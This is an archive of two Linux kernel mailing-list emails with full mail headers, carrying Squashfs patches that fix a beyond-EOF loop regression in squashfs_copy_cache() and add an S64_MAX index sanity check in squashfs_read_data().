header.s=secureserver1 header.b=pBkYVlc3; arc=none smtp.remote-ip=92.204.81.42 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 81B8B606A685 for ; Mon, 23 Nov 2026 03:44:10 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 81B8B606A685 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=sbUcuhdv; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=pBkYVlc3 Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKyCxiqSR; Mon, 23 Nov 2026 03:43:56 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405437; bh=Tf25+vOP9zTNzY6gCBv/9IAPtFBcQO6viZrcwBE4HZI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=sbUcuhdvcV6ZTeMzrzLpbB2X94ZCiYwQGFISOP4kKRHPVY9w/yuxbPfYiNJx2pSvC einJBPZ4vRT6nzE+geUZllP0Vb1i+G6MfLJ6lc1Err+rCaPpS7ERqMsXayRpJ0+lDW lHjmV2r6eJtsXOYe2Y2Ths70QG/pgU+ma9UykTzKdaCBKLo6HmjW7YY/bO+AJwba6Q 6Wc/XrhKAHcZw2tIAOPOiWGA9VkI2LJd/ChN5EAOd15Ou1OlhX9/Wnm9zO8addjHnG +nVvM3KaDZ79V0ouZ6t2xNtOVuYBYl3jN/t4WbWmPRt5d/MbrIezg9PBgRuXUT2kEU gNLVai1yoGwBA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405437; bh=Tf25+vOP9zTNzY6gCBv/9IAPtFBcQO6viZrcwBE4HZI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=pBkYVlc3mqzaLuSKuc2JsYcH915aF6pbWWcQnNkTtw1ILyBXDWih20185owJpue30 ZL0olhQKSChOpos0opXq4/6tXP0iSdc2iNWYybqvHeaUNXocIS1S/bsaLCNGbw1wvk mG8i1tTuwmvr9wrlyEswUoTJ6fQ7WeaL3RIrQBOkfJPlWI1cPdmwq4NsiRAhEK0h0h JwwlVaGxd+4HJFZctKKVFhdcJMMLIy/ePKq1mwVRF7zRp4PFLL4EiwjKUFNhrfgBps p0nXGtc6NLAuoUgZkqgCktwy7Od8WvamGLYlQPATjnaXUHeWtdDX4gOv/ISBbeAw8v UdDhGuM6q81Gg== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b67d a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=7Zd2xgau2SnrXiwuqnEA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 3ae6d76fc3429529ec9b8234611d3c94:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 22/23] Squashfs: fix regression in squashfs_copy_cache() Date: Mon, 23 Nov 2026 03:43:03 +0000 Message-ID: <20261123034304.261742-23-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfBWod+1746wUGuRH+eU5QaVSJhbfZRwutRCCB5McylpnTtaKHV+S1HdoS0hyU+xELpFrIHYBUXV6t6RJ0djdnzG/quLfrAQ5UoULODICktZYjWHBpvIo BobM1Hrzv8kLLzzTUZJUZJfN/MhSw7mJkn++e/D3WE33ApkY/15VN+tfbPIudxL7BRTLoWi4XTAlMPFa9Hp9X/T1miXM6l9pMxrlFToEQ6PStWwG4223IeR7 lcGM1jGFAS7p6f6YvGRBtaPjdoMIzpPWXYCxRiI+OLJVLRW/Ld0ujtvAoi7i3BtN Content-Type: text/plain; charset="utf-8" In a recent commit updating the code to use folios, the bytes variable was changed from signed to unsigned in squashfs_copy_cache(). The bytes variable is used in a loop where PAGE_SIZE bytes are subtracted from it each time around the loop, and where the loop terminates once bytes is less than or equal to zero. The effect of the change in signedness is bytes no longer becomes negative when it is not a multiple of PAGE_SIZE, and the loop does not terminate when it should do, and instead folios are created and filled after file EOF. These beyond EOF folios are not visible to user-space and hence this is a silent regression. This commit fixes the code to only subtract the minimum of bytes or PAGE_SIZE, and which ensures the variable does not underflow. Fixes: 5641371fd0b3 ("squashfs; convert squashfs_copy_cache() to take a fol= io") Signed-off-by: Phillip Lougher --- fs/squashfs/file.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index 0a8288a53b25..bfbcfd6f1035 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -410,6 +410,7 @@ void squashfs_copy_cache(struct folio *folio, struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; s64 i, mask =3D (1 << (msblk->block_log - PAGE_SHIFT)) - 1; s64 start_index =3D folio->index & ~mask, end_index =3D start_index | mas= k; + size_t avail; =20 /* * Loop copying datablock into pages. As the datablock likely covers @@ -417,12 +418,13 @@ void squashfs_copy_cache(struct folio *folio, * grab the pages from the page cache, except for the page that we've * been called to fill. */ - for (i =3D start_index; i <=3D end_index && bytes > 0; i++, - bytes -=3D PAGE_SIZE, offset +=3D PAGE_SIZE) { + for (i =3D start_index; i <=3D end_index && bytes; i++, + bytes -=3D avail, offset +=3D avail) { struct folio *push_folio; - size_t avail =3D buffer ? min(bytes, PAGE_SIZE) : 0; bool updated =3D false; =20 + avail =3D min(bytes, PAGE_SIZE); + TRACE("bytes %zu, i %lld, available_bytes %zu\n", bytes, i, avail); =20 push_folio =3D (i =3D=3D folio->index) ? folio : @@ -436,7 +438,7 @@ void squashfs_copy_cache(struct folio *folio, if (folio_test_uptodate(push_folio)) goto skip_folio; =20 - updated =3D squashfs_fill_page(push_folio, buffer, offset, avail); + updated =3D squashfs_fill_page(push_folio, buffer, offset, buffer ? avai= l : 0); skip_folio: folio_end_read(push_folio, updated); if (i !=3D folio->index) --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.42 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405452; b=RV+lVaQef0hP3tH/hAB+3BYVZLUtQbGrTf4JzuaYj0CkMB1T0xNuU1smh60Ec3dtODnr lO7DccdadLLEEsP6zx3R4gFNVqYRGin/wlKIf4owHDeufl5S2BoIP0hZrHc+uMKx9oVUs kee244XHSQwDmEhzOQmnrUEUsYqJTF76XxsgNGYyeyTk4OmgZOqrA1HqpDfJ9X4UC6H8c eOaYwH4Gx5BQXV9BBkQaCm0SRhiGNAVUWIRMErTqAj1EQRoGLHo8vlu7CEHk7jkLQdoza 9udtX2SbN7vNCOtu3rYPbQ4J6huD1DuK31em3L4eXRduUiNVma9GHngJq9yncvtL41g== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405452; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=2LU4gd1QwZ6NBKlWkP/KjhmJHqiN9qYm6aI1qrY30QU=; b=BeMNvFS3AoEOc5/dAQbgsVzSh16Ilo5ZX3P2xnuS/rlAPLt7naPnr+ktahju6ypWU23N IdagogfUu2DprqrbjEQpgOTS2DpKRsvPQ7FRzU+bPqSjabxPCvIw3ilckWTgavmTpwO/G SwzVQSMaWur0vYzwNyhfunqaZqnfYYwyGkRHE+0lUxCYFXxyfZNgcy3BO9/xczmFk+T/a Wupx8tg1bLcoikZk0/IY3u4BEz7pT9RfjPCzW1isP328y7DRkqApRjEj0EYpasT7RloRE Z6HHX86AD5wA3EGzXzsG2wkHRvJVS/aTquj2L6gxkNtVNkucHZobCPhQVpg2eHgagbA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=xR24xrBh; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=eumUSM8O; arc=none smtp.remote-ip=92.204.81.42 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 5EB91606A332 for ; Mon, 23 Nov 2026 03:44:11 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 5EB91606A332 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=xR24xrBh; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=eumUSM8O Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKyDxiqSV; Mon, 23 Nov 2026 03:43:58 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405438; bh=2LU4gd1QwZ6NBKlWkP/KjhmJHqiN9qYm6aI1qrY30QU=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=xR24xrBhPUDFyVyjjrfmkUAAgQ5HAGPfcc4RdLmnvrXJ+PJMz9bEI5evjqI6NNWeA sUDKMz2LpVh2q/1eHaO+7extYxDZlTlNLsSTaXb18c0fVaNRi2o/YcoPeSECtdjHVd +H2X3NlVWXnr/VMXsDeq62t2H3VvqvWZISRsnQg8Ht4skAc31fVQQ0tYIqvE0iXeaP MsAqM9Y8tsVVxW06uXepS/7bU/LG/I+uSML2Mb04K1H54Znf0glt+O3JYleej/xwzS vi/O/9jn1vIkdTHfAK7k8CecMzNBsNYh7AnbFHqaJ+7fZKQIqB/KLualcB4/92mdIH ljDAto+nOSVZQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405438; bh=2LU4gd1QwZ6NBKlWkP/KjhmJHqiN9qYm6aI1qrY30QU=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=eumUSM8OQgF0Hnr5Zgp5BEItIvQIuJNsdAj/3JiRR4BRrZoCCv1jbOybzNOq5VhMy QKb0wJAbI1BOjI3cr67tnItahx/8gHLho0yt8qDwJ6g3zO9yfLq7xcJZSViCYUDG3A m0gaLQYizbpDbMPxqz6LF/JrTqgreZJQsVR3j35qf2B51Uz7ED75Dr3s8MzT34P+ak 2jr+0/q5SGOsevCopAaDcOWLSIQXu3VhMD4whp7kvz7LfbQ6eVWmGtno/mgcX29tjH LCDmJ5bIsJp9izhEb4dj0i3fo0Zp3R/JCP32jlvFYWlPAQdZl7Wo7muKJKVi+c/iZE pGa8X8q85/Lqw== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b67e a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=novXQP1oP690d8Wgf2EA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 1d77c92af1f23b670027341628da9528:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 23/23] Squashfs: check index isn't greater than S64_MAX in squashfs_read_data() Date: Mon, 23 Nov 2026 03:43:04 +0000 Message-ID: <20261123034304.261742-24-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfNTbIq9y176UuZGuHWL4OPPhxnOiYIwlwqqhHYj2ePkz514PVr9pLxod+MyM9PMZ4yh6WXH7JB2vbltmgICvvBvuTFxMrA31EuKMafJeo+YJQP60LrjI uGoCMZxpPGx3K9jq4rqH0Z8zWHTgDfAi/FrKihN0kRz8avRxoH1ZQMGIc2jvyAQfh5w0e2n5CVLYkOWY+ejBtiT4bUqNYbZARJ1iboU2ej5iohTQ+YTzJcs/ 8ycRe2cm88m2+j2WI/vmJlXNLyVXeORySF6miyiv37zQUOc+J35Si6j1j0k4uqZ0 Content-Type: text/plain; charset="utf-8" The previous commits in this patch-set now sanity check index before squashfs_read_data() is called. However, it is always wise to take a belts and braces approach and sanity check at the lowest level to trap any values that could slip through. Fixes: e2780ab159ac6 ("Squashfs: block operations") Signed-off-by: Phillip Lougher --- fs/squashfs/block.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/fs/squashfs/block.c b/fs/squashfs/block.c index 20c3030b4f96..f2f03d815167 100644 --- a/fs/squashfs/block.c +++ b/fs/squashfs/block.c @@ -297,6 +297,15 @@ int squashfs_read_data(struct super_block *sb, u64 ind= ex, int length, int res; int offset; =20 + /* + * Reject index values greater than possible filesystem size (S64_MAX). + * This also ensures the index variable doesn't overflow in the function. + */ + if (index > S64_MAX) { + res =3D -EIO; + goto out; + } + if (length) { /* * Datablock. --=20 2.47.3